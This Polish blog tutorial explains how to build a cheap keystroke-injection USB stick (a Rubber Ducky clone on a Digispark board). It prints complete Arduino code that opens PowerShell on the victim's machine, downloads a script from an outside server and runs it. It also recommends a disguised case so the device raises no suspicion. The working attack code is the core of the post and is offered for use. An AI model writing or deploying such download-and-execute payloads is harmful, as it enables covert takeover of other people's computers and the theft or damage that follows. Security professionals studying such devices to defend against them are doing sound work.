Programowalny „pendrive” czyli jak szybko przejąć komputer

Dzisiaj wpis będący formą tutorialu jak niskim kosztem stworzyć własny programowalny pendrive na wzór drogiego i popularnego Rubber Ducky od Hak5. Będzie on działał na zasadzie klawiatury – podłączony do komputera wpisuje wcześniej zaprogramowaną sekwencję klawiszy.

Pierwszym krokiem jest zakup miniaturowej płytki Arduino opartej na mikrokontrolerze ATtiny85 – Digispark. Najtaniej można znaleźć go u naszych przyjaciół z chin na jednym z popularnych serwisów aukcyjnych. Ceny zaczynają się tam już od 1$ –Digispark

ATtiny85 - Digispark

Jako, że czasami występuję problem z wykrywaniem DigiSparka przez niektóre komputery (szczególnie porty USB3), najlepiej od razu zaopatrzyć się w adapter, który rozwiązuje ten problem (koszt około 2$) –Adapter

adapter usb

Gdy zamówiony sprzęt do nas dotrze potrzebujemy do jego zaprogramowania środowiska, którym będzie Adruino IDE –Arduino

Tutorial podłączenia do niego Digisparka możemy znaleźć tutaj –Schemat

Nasz kontroler ma ograniczoną ilość pamięci, więc właściwy payload może się na nim nie zmieścić. Ja obszedłem ten problem umieszczając na nim kod pobierający za pomocą powershella skrypt z payloadem, który  z kolei zostanie później uruchomiony na komputerze ofiary:

#include „DigiKeyboard.h”
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(„powershell”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(„$client = new-object System.Net.WebClient”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(„$client.DownloadFile(\”https://my127001.pl/script.ps1\” , \”script.ps1\”)”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R);
DigiKeyboard.delay(750);
DigiKeyboard.print(„powershell.exe -File script.ps1”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
}

}

Aby dodatkowo uwiarygodnić wygląd naszego pendriva, tak aby nie wzbudzał podejrzeń warto zaopatrzyć się w drukowaną obudowę np. z projektu pod linkiem –Obudowa

Całość prezentuje się następująco i potrafi przejąć kontrolę nad komputerem ofiary w kilka sekund:

Programowalny "pendrive"

Programowalny „pendrive”

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Otagowano , , , , , , .Dodaj do zakładek Link.

Podziel się swoją opinią na temat artykułu